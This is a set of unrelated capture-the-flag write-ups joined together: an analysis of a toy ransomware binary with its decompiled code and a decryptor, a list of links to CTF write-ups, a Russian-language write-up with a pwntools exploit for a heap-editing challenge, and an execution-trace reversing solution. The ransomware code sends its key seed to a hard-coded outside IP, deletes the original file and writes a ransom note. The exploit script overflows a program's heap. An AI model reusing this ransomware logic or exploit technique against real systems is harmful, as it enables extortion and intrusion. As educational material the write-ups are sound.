*)(alStack240[1] + uVar5 * 0x1ffffffffffffffe); local_44 = 0; while (local_44 < (int)local_64) { alStack240[uVar5 * 0x1ffffffffffffffe] = 0x10145c; iVar2 = rand(*(undefined *)(alStack240 + uVar5 * 0x1ffffffffffffffe)); local_78[local_44] = (char)iVar2; local_44 = local_44 + 1; } alStack240[uVar5 * 0x1ffffffffffffffe] = 0x10148d; puts("key generated by 256",*(undefined *)(alStack240 + uVar5 * 0x1ffffffffffffffe)); local_80 = (long)(int)local_64 + -1; alStack240[1] = (long)(int)local_64; alStack240[2] = 0; uVar6 = ((long)(int)local_64 + 0xfU) / 0x10; local_88 = (undefined *)(alStack240[1] + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe); local_40 = 0; while( true ) { __stream = local_60; alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x101529; iVar2 = fgetc(__stream,*(undefined *) (alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); __stream = local_60; local_89 = (byte)iVar2; if ((int)local_64 <= local_40) break; local_88[local_40] = local_78[local_40] ^ (byte)iVar2; local_40 = local_40 + 1; } alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x101543; fclose(__stream,*(undefined *) (alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x10154f; remove("flag.gif", *(undefined *)(alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x101562; local_98 = fopen("flag-gif.EnCiPhErEd",&DAT_001020ae, *(undefined *) (alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); local_3c = 0; while (__stream = local_98, local_3c < (int)local_64) { bVar1 = local_88[local_3c]; alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x101593; fputc((uint)bVar1,__stream, *(undefined *)(alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); local_3c = local_3c + 1; } alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x1015ae; fclose(__stream,*(undefined *) (alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x1015c1; __stream = fopen("ransomNote.txt",&DAT_001020ae, *(undefined *) (alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); local_a0 = __stream; alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x1015e8; fwrite( "Haha! Your precious file flag.gif has been encrypted by my new and improved ransomwareNotWannasigh! You must send bitcoin to \"bitpay.com/83768\" to get the decryption key. Youshould act fast because in 48 hours I will delete the key. Muahahahaha!\n -def-not-h4ckah\n\n(Hi, CTF challenge creator here. You should _NEVER_ pay the ransom. Ifyou send bitcoin to that BTC wallet then you will ONLY be donating to charity (and hey,that\'s really nice of you, Mental Health Hackers is a great organization). I will NOTsend you the decryption key)\n" ,1,0x21d,__stream, *(undefined *)(alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); __stream = local_a0; alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x1015f7; fclose(__stream,*(undefined *) (alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); return 0;}```
So removing the useless lines...
```c local_50 = time((time_t *)0x0); srand((uint)local_50); local_54 = socket(2,1,0); if (local_54 == -1) { puts("could not create socket"); } else { puts("created socket"); local_b4 = inet_addr("108.61.127.136"); local_b8 = 2; local_b6 = htons(0x50); iVar2 = connect(local_54,(sockaddr *)&local_b8,0x10); if (iVar2 < 0) { puts("connect error"); } else { puts("connected"); sprintf(local_c2,"%d",local_50); sVar3 = send(local_54,local_c2,10,0); if (sVar3 < 0) { puts("send failed"); } else { puts("sent"); } } }```
That just phones home to a fixed IP address and sends a... I guess that's a randomly generated key based on the timestamp.
Let's check out the tcpdump
```kali@kali:~/Downloads/wipctf/wannasigh$ tcpdump -A -r 192-168-1-11_potential-malware.pcapreading from file 192-168-1-11_potential-malware.pcap, link-type EN10MB (Ethernet)16:11:46.103899 IP 192.168.1.11.39520 > 108.61.127.136.vultr.com.http: Flags [S], seq 4131822382, win 64240, options [mss 1460,sackOK,TS val 2564290710 ecr 0,nop,wscale 7], length 0E..<n!@.@.."....l=...`.P.F.................................16:11:46.281817 IP 108.61.127.136.vultr.com.http > 192.168.1.11.39520: Flags [S.], seq 492191443, ack 4131822383, win 28960, options [mss 1460,sackOK,TS val 3255699858 ecr 2564290710,nop,wscale 7], length 0E..<[email protected]=.......P.`.V>..F./..q C............ .........16:11:46.281892 IP 192.168.1.11.39520 > 108.61.127.136.vultr.com.http: Flags [.], ack 1, win 502, options [nop,nop,TS val 2564290888 ecr 3255699858], length 0E..4n"@.@..)....l=...`.P.F./.V>......;........H.. .16:11:46.282091 IP 192.168.1.11.39520 > 108.61.127.136.vultr.com.http: Flags [P.], seq 1:11, ack 1, win 502, options [nop,nop,TS val 2564290888 ecr 3255699858], length 10: HTTPE..>n#@[email protected]=...`.P.F./.V>...............H.. .158559910616:11:46.318388 IP 192.168.1.11.39520 > 108.61.127.136.vultr.com.http: Flags [F.], seq 11, ack 1, win 502, options [nop,nop,TS val 2564290925 ecr 3255699858], length 0E..4n$@.@..'....l=...`.P.F.9.V>...............m.. .16:11:46.469522 IP 108.61.127.136.vultr.com.http > 192.168.1.11.39520: Flags [.], ack 11, win 227, options [nop,nop,TS val 3255700045 ecr 2564290888], length 0[email protected]=.......P.`.V>..F.9.............M...H16:11:46.469569 IP 108.61.127.136.vultr.com.http > 192.168.1.11.39520: Flags [P.], seq 1:310, ack 11, win 227, options [nop,nop,TS val 3255700045 ecr 2564290888], length 309: HTTP: HTTP/1.1 400 Bad Request[email protected]|l=.......P.`.V>..F.9....0R.......M...HHTTP/1.1 400 Bad RequestServer: nginx/1.16.1Date: Mon, 30 Mar 2020 20:14:58 GMTContent-Type: text/htmlContent-Length: 157Connection: close
<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>
16:11:46.469618 IP 192.168.1.11.39520 > 108.61.127.136.vultr.com.http: Flags [R], seq 4131822393, win 0, length 0E..(..@[email protected]=...`.P.F.9....P....6..16:11:46.469672 IP 108.61.127.136.vultr.com.http > 192.168.1.11.39520: Flags [F.], seq 310, ack 11, win 227, options [nop,nop,TS val 3255700045 ecr 2564290888], length 0[email protected]=.......P.`.V@ .F.9.....S.......M...H16:11:46.469691 IP 192.168.1.11.39520 > 108.61.127.136.vultr.com.http: Flags [R], seq 4131822393, win 0, length 0E..(..@[email protected]=...`.P.F.9....P....6..```
From that tcpdump, the first 3 packets are a handshake (syn, syn/ack, ack).The fourth one has the srand value that was sent to the remote IP:
```16:11:46.282091 IP 192.168.1.11.39520 > 108.61.127.136.vultr.com.http: Flags [P.], seq 1:11, ack 1, win 502, options [nop,nop,TS val 2564290888 ecr 3255699858], length 10: HTTPE..>n#@[email protected]=...`.P.F./.V>...............H.. .1585599106```
srand: 1585599106
This next part of `main()` opens `flag.gif` for reading and prints the filesize:
```c puts("targetting flag.gif"); local_60 = fopen("flag.gif","r+"); fseek(local_60,0,2); lVar4 = ftell(local_60); local_64 = (uint)lVar4; fseek(local_60,0,0); alStack240[0] = 0x1013f2; printf("fileSize = %d\n",(ulong)local_64);```
This encrypts the stream:
```c local_70 = (long)(int)local_64 + -1; alStack240[3] = (long)(int)local_64; alStack240[4] = 0; uVar5 = ((long)(int)local_64 + 0xfU) / 0x10; local_78 = (undefined *)(alStack240[1] + uVar5 * 0x1ffffffffffffffe); local_44 = 0; while (local_44 < (int)local_64) { alStack240[uVar5 * 0x1ffffffffffffffe] = 0x10145c; iVar2 = rand(*(undefined *)(alStack240 + uVar5 * 0x1ffffffffffffffe)); local_78[local_44] = (char)iVar2; local_44 = local_44 + 1; } alStack240[uVar5 * 0x1ffffffffffffffe] = 0x10148d; puts("key generated by 256",*(undefined *)(alStack240 + uVar5 * 0x1ffffffffffffffe)); local_80 = (long)(int)local_64 + -1; alStack240[1] = (long)(int)local_64; alStack240[2] = 0; uVar6 = ((long)(int)local_64 + 0xfU) / 0x10; local_88 = (undefined *)(alStack240[1] + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe); local_40 = 0; while( true ) { __stream = local_60; alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x101529; iVar2 = fgetc(__stream,*(undefined *) (alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); __stream = local_60; local_89 = (byte)iVar2; if ((int)local_64 <= local_40) break; local_88[local_40] = local_78[local_40] ^ (byte)iVar2; local_40 = local_40 + 1; } alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x101543;```
Close `flag.gif`:
```c fclose(__stream,*(undefined *) (alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x10154f;```
Remove `flag.gif`:
```c remove("flag.gif", *(undefined *)(alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x101562;```
Write the encrypted file
```c local_98 = fopen("flag-gif.EnCiPhErEd",&DAT_001020ae, *(undefined *) (alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); local_3c = 0; while (__stream = local_98, local_3c < (int)local_64) { bVar1 = local_88[local_3c]; alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x101593; fputc((uint)bVar1,__stream, *(undefined *)(alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); local_3c = local_3c + 1; } alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x1015ae; fclose(__stream,*(undefined *) (alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x1015c1;```
This last part obviously creates the ransom note:
```c __stream = fopen("ransomNote.txt",&DAT_001020ae, *(undefined *) (alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); local_a0 = __stream; alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x1015e8; fwrite( "Haha! Your precious file flag.gif has been encrypted by my new and improved ransomwareNotWannasigh! You must send bitcoin to \"bitpay.com/83768\" to get the decryption key. Youshould act fast because in 48 hours I will delete the key. Muahahahaha!\n -def-not-h4ckah\n\n(Hi, CTF challenge creator here. You should _NEVER_ pay the ransom. Ifyou send bitcoin to that BTC wallet then you will ONLY be donating to charity (and hey,that\'s really nice of you, Mental Health Hackers is a great organization). I will NOTsend you the decryption key)\n" ,1,0x21d,__stream, *(undefined *)(alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); __stream = local_a0; alStack240[uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe] = 0x1015f7; fclose(__stream,*(undefined *) (alStack240 + uVar5 * 0x1ffffffffffffffe + uVar6 * 0x1ffffffffffffffe)); return 0;}```
It's just an XOR cipher, so it should be simple to reverse with that seed.
## Solution
```c#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <sys/types.h>#include <sys/socket.h>
int main(){ FILE *in; FILE *out;
srand(1585599106); // from the tcpdump in = fopen("flag-gif.EnCiPhErEd","r+"); out = fopen("flag.gif","w"); if (!in || !out) { printf("failed to malloc or open something.\n"); return 1; } fseek(in,0,2); // seek to end size_t input_size = ftell(in); // get file size fseek(in,0,0); // seek to start
// decrypt input file byte by byte with XOR cipher for (int i = 0; i < input_size; i++) { char c_in, c_out; char r = (char)rand(); c_in = fgetc(in); c_out = c_in ^ r; fputc(c_out,out); }
fclose(out); fclose(in); return 0;}```
Run it to decrypt `flag.gif`
```kali@kali:~/Downloads/wipctf/wannasigh$ gcc decrypt.c -o decryptkali@kali:~/Downloads/wipctf/wannasigh$ ./decryptkali@kali:~/Downloads/wipctf/wannasigh$ ls192-168-1-11_potential-malware.pcap decrypt.ref.c NotWannasighdecrypt flag.gif NotWannasigh.zipdecrypt.c flag-gif.EnCiPhErEd ransomNote.txtkali@kali:~/Downloads/wipctf/wannasigh$ file flag.gifflag.gif: GIF image data, version 89a, 220 x 124```
Open the gif in gimp and zoom in.

The flag is:
```WPI{It_always_feels_a_little_weird_writing_malware}```
|
# INDEX---
Writeups for recent ctfs, check out [upcoming CTF's](https://ctftime.org/event/list/upcoming).
## >> [FWORD-20](./fword-20/)
## >> [ASCW-20](./cyberwar/README)
## >> [csictf-20](./csictf-20/README)
## >> [zh3r0-20](./zh3r0-20/z)
## >> [cyberCastor-20](./cyberCastor-20/cybercastors)
## >> [nahamcon-20](./nahamcon-20/README)
## >> [noob-20](./noobctf-20/noob)
## >> [ractf-20](./ractf-20/ractf)
## >> [hsctf-20](./hsctf-20/hsctf)
{% include disqus.html %}
|
### **ugractf** writeup - Melodrama I / II (pwn)###### *by Frovy*### Melodrama I (150 pts)
Для начала изучим предоставленный исходный код.> Увидев что в проге можно что-то создавать и удалять я сразу стал искатьuse-after-free, но оказалось, что тут все немного иначе.
Обратим внимание на метод удаления статьи:```c...memset(articles[id], NULL, sizeof(article_t*));```
Возможно это легко пропустить при первом прочтении кода, но я сразу заметил чудесную звездочку у аргумента sizeof. Вместо размера структуры определяется размер указателя на нее (8 байт), поэтому при "удалении" статьи текст и подпись остаются в сохранности, а первые два поля перезаписываются нулями.При этом free нигде не вызывается и указатель на структуру нигде не зануляется, значит мы можем продолжать ею пользоваться.
(структура)```ctypedef struct { int secret; int length; char note[141]; char signature[64];} __attribute__((packed)) article_t;```
Итак, удаляя статью мы устанавливаем ее длинну и секретность в 0.
Подключимся к серверу и прочитаем секретную 0-ю запись содержащую флаг, предварительно удалив ее.
Первая часть решена.
### Melodrama II (250 pts)Вторая часть значительно сложнее, хотя вероятно (скорее всего) (точно) мое решение переусложнено.
Наша задача - достать секретную подпись, хранящуюся в структуре подписанной статьи прямо за ее текстом.
Как же это сделать? Очевидно для этого надо использовать функционал правок, не просто так же он тут есть.
> Во время ctf я потратил довольно много времени пытаясь опять же придумать что-то из категории heap exploitation, но потом осознал что на статьях то даже free не вызывается и понял что это все бред.
Почитаем внимательнее как же работают(применяются) эти правки:```c// insertint left = edits[id]->offset;int new_left = left + len;for (int i = 140; i >= new_left; i--) { // shift positions for len positions right articles[article]->note[i] = articles[article]->note[i - len];}for (int i = 0; i < len; i++) { // insert edit to empty interval [left, left + len) articles[article]->note[left + i] = edits[id]->content[i];}
// deleteint left = edits[id]->offset;int right = left + edits[id]->count;for (int i = left; i < right; i++) { // shift characters for (right - left) positions left articles[article]->note[i] = articles[article]->note[i + (right - left)];}```
Спасибо авторам за комменты, даже сам код читать не надо. Итак, с помощью insert мы можем вставить до 140 символов начиная с определенного оффсета. А с помощью delete?Сдвигать символы справа налево! Это именно то что нам нужно, мы можем попытаться подвинуть подпись в содержание и, прочитав статью, получить флаг.
Создадим новую статью из 140 букв А и попытаемся создать такую правку которая бы подвинула нам подпись. Подвинем 100 символов, поставим оффсет например 40, чтобы попасть в начало подписи.У нас получится left = 40, right = 100+40. Получается правка должна подвинуть строку note[140:240] в note[40:140].
Получим `Not enough characters`.
Все верно, мы пытаемся нарушить границы массива и проверка не дает нам этого сделать.
```cif (count <= 0 || offset + count - 1 > articles[id]->length) { puts("Not enough characters"); return;}```
Ага, значит тут проверяется длинна статьи, нужно ее как-то изменить.
> Тут мне сразу пришла идея использовать правку insert чтобы перезаписать длинну любым значением. Возможно это совершенно не очевидно. Возможно на самом деле это делается как-то проще, но во время ctf я делал именно так.
Наши статьи располагаются друг за другом в одном огромном куске heap, который выделяется в начале выполнения программы. Попробуем с помощью правки insert записать символы за границу массива, настолько далеко, чтобы достать до памяти следующей статьи и перезаписать length каким-либо большим числом.
Посмотрим на проверки в правке insert:
```cint left = edits[id]->offset;
if (left > articles[article]->length) { puts("Can't apply this edit.");}
int len = strlen(edits[id]->content);if (len + articles[article]->length > 140) { puts("Too long."); return;}```
Ага, в первой проверке нету return-а, да сколько же дыр в этом коде?
Как обойти вторую мы знаем из первой части таска. Удалим статью чтобы установить ее длину в 0, сумма len + length будет <= 140.
Итак алгоритм для перезаписи длины статьи:
1. Создаем статью (140 символов)2. Создаем еще статью3. Создадим описанную выше правку: оффсет 140, 140 символов (можно и поменьше конечно)4. Удалим статью5. Применим изменение
Теперь нам нужно создать правку delete которая сдвинет подпись в содержимое.Ах да, эту подпись надо перед этим туда поставить.
6. Создадим правку ко второй статье: remove, оффсет 40, кол-во 1007. Подпишем вторую статью8. Применим правку
Если мы попробуем сейчас прочесть эту статью, у нас ничего не получится потому, что ранее мы перезаписали флаг секретности, стоящий перед размером. Чтобы прочитать статью, предварительно удалим ее, как в первой части таска.
9. Удалим статью10. Прочитаем статью
Ой! А флаг то не выводится..
Если совсем немного подумать (или открыть gdb) можно понять что мы оставили нуль-терминатор в конце контента статьи, поэтому вывод прерывается. Изменим кол-во символов в правке из шага 6 с 100 на 101.
И получим флаг.
Скрипт использованный для получения флага с сервера:
```pyfrom pwn import *
#token = ''#c = remote('melodrama.q.2020.ugractf.ru', 17493)#c.recvuntil('token:')#c.sendline(token)
c = process('./melodrama')
c.recvuntil('> ').decode('utf-8')
p = log.progress('Doing magic...')
# crate article 1c.send('1\n')c.recvline()c.send('A'*140+'\n')c.recvuntil('> ').decode('utf-8')
# crate article 2c.send('1\n')c.recvline()c.send('B'*140+'\n')c.recvuntil('> ')
# create an overwriting edit to article 1c.send('2\n')c.recvline()c.send('1\n')c.recvuntil('remove something')c.send('1\n')c.recvline()c.send('140\n')c.recvline()c.send('C'*140+'\n')c.recvuntil('> ')
# delete article 1 so we can apply broken editc.send('6\n')c.recvline()c.send('1\n')c.recvuntil('> ')
# apply overwriting editc.send('3\n')c.recvline()c.send('0\n')c.recvline()c.recvuntil('> ')
# create an moving edit to article 2c.send('2\n')c.recvline()c.send('2\n')c.recvuntil('remove something').decode('utf-8')c.send('2\n')c.recvline()c.send('40\n')c.recvline()c.send('101\n')c.recvuntil('> ')
# sign article 2c.send('4\n')c.recvline()c.send('2\n')c.recvuntil('> ').decode('utf-8')
# apply edit that should move signature into notec.send('3\n')c.recvline()c.send('0\n')c.recvuntil('> ')
# delete article so we can read itc.send('6\n')c.recvline()c.send('2\n')c.recvuntil('> ')
# read resultc.send('5\n')c.recvline()c.send('2\n')res = c.recvuntil('> ')
p.success('Magic done.')
# extract flagres = res.decode('utf-8')flag = res.split('\n')[0].split()[-1].split('C')[-1]
log.success(f'Got signature: {flag}')``` |
# The Challenge
The download is an archive with a readme and a text file. In thereadme we get a bit more information about the challenge:
> This archive contains a sanitized execution trace of:>> `./flag-hunting-bin FLAG.txt`>> The trace is for debugging purpose only.> The address of each instruction has been replaced with a unique> identifier and our secure technology ensure that no data can be> recovered from this trace.>> -- The OOO Secure Tracing Department
The text file is an execution trace of the flag-hunting-bin, but it onlycontains an obfuscated program counter, and the disassembled machineinstruction. No memory contents, no register contents. The first fewlines look like this:
```3cda655ffeabac454f0ddeffbd60f3f3 mov r9,rdxbe8924b72ff3c6befe76ff77d13fe361 pop rsi7bca8934003b83d64e73593c937f9a76 mov rdx,rsp99a1ff7893c9a395d1331f630be96516 and rsp,0xfffffffffffffff0bac8c7972748dded67677f6b80477780 push rax7b00642b2afad3cf82d044a0a03ecf16 push rsp```
The objective is clear: we have to obtain the flag from the executiontrace, by inferring values from branches. But since we are lazy, we usetools for this. First of all, we transform the text trace intosomething more useful, and load it into TRCView. Since most peopleprobably never heard about TRCView, a quick explanation about the tool.
# TRCView
[TRCView](https://github.com/pekd/vmx86) is an open source interactive execution trace analysis tool. Itis architecture agnostic, so it can be used to analyze traces from allkinds of different architectures. It even supports a *generic* tracefile format, which encodes information about the architecture in thefile header. This is exactly what we will use for the flag-huntingchallenge.
When loading an execution trace, TRCView reconstructs the memorycontents for every point in time, tracks register values, and parses theinstruction trace into a tree, where every level corresponds to asubroutine. This makes it convenient to analyze individual subroutines,without being overwhelmed by all the instructions from nested calls.
Since our execution trace only consists of obfuscated program countervalues and decoded machine instructions, we use the generic trace fileformat. Every instruction gets a "step number", which is the line numberin the original trace - 1. Since the program counter for TRCView has tobe at most a 64bit integer, we just generate new program counter valuesusing the hashes. Generic trace files need information about theinstruction types, so we parse the instruction mnemonic and assign theinstruction type to every parsed instruction. The instruction type tellsTRCView if it is looking at a jump/call/return/conditionalbranch/syscall/...; as machine code we just use the original obfuscatedprogram counter value.
The main features of TRCView for analyzing the trace file of thischallenge are subroutine names, comments, and instruction coloring. Byrenaming subroutines, we can easily understand what we are looking at,by adding comments, we can understand what the program code does, and bycoloring instructions, we can quickly see loops and branches.
# Analyzing the Trace
After loading the converted trace file into TRCView, we immediately seethe first few instructions of the program.

The first call seems to go into the standard libc initializationfunction, which then calls the program's main function with an indirectcall (`call rax`), followed by a call to `exit` with the value returnedby `main`. The main function therefore starts at instruction 214 (line215 in the original trace file).
We can also see that many syscalls are performed over the program run.The first step now is to look at every syscall and annotate it with itsname. For example this syscall:

We can see the instruction moving a value of `0xC` to `eax`, which meansit is syscall 12 = `brk`. By adding `brk` as comment to the `syscall`instruction, we see it in the strace view too. After annotating allsyscalls, we get an idea what happens over time:

The program allocates memory, opens a file, reads content from a file,writes to some file, and then exits. By going up the call stack fromevery syscall, we can recover the libc function names. For example the`open` syscall is eventually called from `fopen`, `read` is eventuallycalled from `fread`, and so on.
# The `main` function
The program's main function looks roughly like this:
```cint main(int argc, char** argv){ char flag[60];
memset(flag, 0, sizeof(flag)); FILE* f = fopen(argv[1], "rt"); fread(flag, 1, sizeof(flag), f);
int flag_len = check_flag_format(flag); process_flag(flag, flag_len);
return 0;}```
The two interesting functions now are `check_flag_format` and`process_flag`. Let's look at `check_flag_format`.
# Flag Format Check
This flag format check verifies if the characters in the flag are*valid* and at the same time it computes the flag length. Since thiscode specifically checks for `O`, space, and character value ranges, weknow that the flag starts with three `O` characters, there are spacecharacters in the flag, and all other characters are greater than 0x60,which means it's all lowercase letters. With this information, we cannow look at the subroutine which processes the flag.
# Processing the Flag
The `process_flag` subroutine allocates three variables, one is thepointer to the flag buffer, the second one is a counter, and the lastone is another 64bit value initialized with NULL. The code then iteratesover all characters of the flag, and calls a function with the 64bitvalue and the character from the flag. The returned value replaces the64bit variable's value. This means the new function updates this valuesomehow.
Essentially the code so far looks like this:
```cvoid* ptr = NULL;for(int i = 0; i < flag_len; i++) { ptr = do_something(ptr, flag[i]);}```
Looking at the called function itself, it seems to create some datastructure. In the first invocation, it creates a new element, in laterinvocations, it traverses the data structure and modifies it. Now weknow the 64bit variable in the `process_flag` subroutine is actually apointer to this data structure. Let's rename this `do_something` to`insert`, because that's probably what it does.
After the loop finishes, another function is called, which turns out tobe a print function. The complete code of `process_flag` looks roughlylike this:
```cvoid process_flag(char* flag, int flag_len){ void* ptr = NULL; for(int i = 0; i < flag_len; i++) ptr = insert(ptr, flag[i]); print_data(ptr);}```
# The `insert` operation
In the `insert` function, the first invocation creates a new node. Thefunction which creates the node looks like this:

From here we learn that nodes are 32 bytes large, and have a structurelike this:
```cstruct node { int val; int cnt1; int cnt2; int pad; struct node* left; struct node* right;};```
The `left` and `right` can be inferred from the print function, whichtraverses this data structure:

We can now safely assume it's a binary tree, with the value, a left andright pointer, and two counters. The first counter is the number ofoccurences of the character. The decompiled version of the `print_tree`function from the screenshot looks roughly like this:
```cvoid print_tree(struct node* node){ if(!node) return; print_tree(node->left); printf("'%c': %d\n", node->val, node->cnt1); print_tree(node->right);}```
Basically the `process_flag` function counts the occurrences of everycharacter in the flag. Although we cannot observe the values themselves,we can observe the position of the values in the tree, and since theflag has 21 unique characters (which can be guessed from the invocationcount of `create`), guessing the rest should be easy.
Now we have to understand the rest of the `insert` function to get thecharacter positions in the tree.
The first case for `insert` was to create a new node, since the passednode was NULL. The second case for `insert` looks like this:

The node has the value that is to be inserted into the tree, so thefirst counter is incremented. Afterwards, two functions (`func1` and`func2`) are called, which somehow re-organize the tree. In thisspecific case, they don't do anything.
The third case of `insert` is for recursively inserting into onesubtree, the fourth one recursively inserts into the other subtree. Butthe question remains, what does `func1` and `func2` do? Looking at allthe invocations, `func1` seems to do this:
```cstruct node* func1(struct node* node){ if(node->left && node->left->cnt2 == node->cnt2) { struct node* n = node->left; node->left = n->right; n->right = node; return n; } else { return node; }}```
The other function (`func2`) does something rather similar:
```cstruct node* func2(struct node* node){ if(node->right && node->right->right && node->cnt2 == node->right->right->cnt2) { struct node* n = node->right; node->right = n->left; n->left = node; n->cnt2++; return n; } else { return node; }}```
Those functions seem to re-balance the tree. Now that we know how thetree is constructed, all we have to do is re-implement all thosefunctions, re-play the trace and create a tree with exactly the samestructure, but with the positions of the flag characters as content.To do this, we write a simple python script.
# Decoding the Trace
Remember that TRCView shows the original obfuscated program counteraddresses in the "machine code" comment? This is what we need now todecide in the python script what to do. The basic idea is to read thetrace in the python script, check for (obfuscated) program countervalues, and then perform some actions. We don't care about the actualmachine code at this point.
First of all, we read the trace file and only keep the obfuscatedprogram counter value:
```pythonwith open("trace.txt", "rt") as f: data = f.readlines()
trace = [ int(x.split(" ")[0], 16) for x in data ]```
Then we have to parse the trace of the `check_flag_format` function,which reveals the flag length:
```pythondef check_flag_format(trace): i = 0
for step in trace: if step == 0xcd97512d07efe7aa3271311a5a343e98: i += 1 elif step == 0x9a5816982d4321860eb7bec0b5ae8d3e: i += 1 elif step == 0xb42b799b2e1ef9ce91bf86738b6fa8fb: return i```
The next function is the `process_flag` function, which has toreconstruct the tree. The tree itself has a rather simple structure:
```pythonclass Tree(object): def __init__(self, val): self.val = [ val ] self.left = None self.right = None self.count = 1 self.cnt2 = 1```
The function `func1` is rather easy to implement in python, since itdoesn't even need to look at the trace at all:
```pythondef func1(node): if node.left is not None and node.cnt2 == node.left.cnt2: n = node.left node.left = n.right n.right = node return n else: return node```
The function `func2` is similar, and again, it doesn't need to check thetrace:
```pythondef func2(node): if node.right is not None and node.right.right is not None and \ node.cnt2 == node.right.right.cnt2: n = node.right node.right = n.left n.left = node n.cnt2 += 1 return n else: return node```
Although those two functions don't have to check the trace, thecorrectness *can* be verified by checking the trace. Since the decisionsmade in the python script have to match the decisions in the trace, it'seasy to see if there are any differences.
Now the `insert` function can be recreated:
```pythondef insert(trace, start, val, tree = None): cont = None for i in range(start, len(trace)): if cont is not None: # continue if necessary if cont > i: continue else: cont = None step = trace[i] if step == 0x7e8d3d12f9987acc83634394bb225179: tree = Tree(val) elif step == 0x9fd18c435279a11cc106c4933676a7d9: (_, cont, node) = insert(trace, i + 1, val, tree.left) tree.left = node elif step == 0xa2648a849526903f1553126aa4119b79: (_, cont, node) = insert(trace, i + 1, val, tree.right) tree.right = node elif step == 0xb39fabb14ca48dfa222944f6b24fff4b: tree.count += 1 tree.val += [ val ] elif step == 0x83558aaf42e5b6c58859338ad3e67ec6: tree = func1(tree) elif step == 0x7dd2b7931b57d948b675c187dcdb0104: tree = func2(tree) elif step == 0x035619afe13a4b106de53674a406125f: return (trace, i + 1, tree)```
With `insert` implemented, we can now implement the function whichcreates the tree:
```pythondef create_tree(trace): pos = 0 tree = None for i in range(len(trace)): step = trace[i] if step == 0xca5ab312e8886c46a899368f61547e0b: (_, _, tree) = insert(trace, i, pos, tree) pos += 1 return tree```
By calling `create_tree` on the trace, we get a reconstructed tree whichhas the character positions of the flag characters in the `val` field ofthe nodes. Now all we have to do is generate a flag out of this tree.
# Generating the Flag
We need to serialize the tree into a set of equivalent characters, whichwe call *classes* from now on. Those classes represent differentcharacters, and the most important property is that the character valuesof the classes are sorted from smallest to biggest value.
```pythondef serialize(tree): if tree is None: return [] result = serialize(tree.left) result += [ tree.val ] if tree.right is not None: result += serialize(tree.right) return result```
Getting the classes is now easy:
```pythontree = create_tree(trace)classes = serialize(tree)```
Now we can assign character values to every class. For the first twoclasses we already know the values: space and `O`. The last class is the`{` character.
```pythonvalues = [ '.' ] * len(classes)values[0] = ' 'values[1] = 'O'values[-1] = '{'```
Unfortunately the character values are not `value[i] = x + i`, butinstead there is a "gap" between some character values. This is what wehave to guess. Solving the challenge is now about guessing those "gaps":
```pythonskip = [ 0 ] * len(classes)skip[7] = 2skip[9] = 2skip[14] = 1skip[19] = 2off = 0for i in range(2, len(classes) - 1): off += skip[i] values[i] = chr(0x60 + (i - 1) + off)
flag = [ '}' ] * len(flag_format)for i in range(len(classes)): for n in classes[i]: flag[n] = values[i]
print("".join(flag))```
The complete solve script is available here: [solve.py](https://www.sigflag.at/assets/posts/flag-hunting/solve.py)
Running this script reveals the flag:
```OOO{even my three year old boy can read this stupid trace}```
# Other Observations
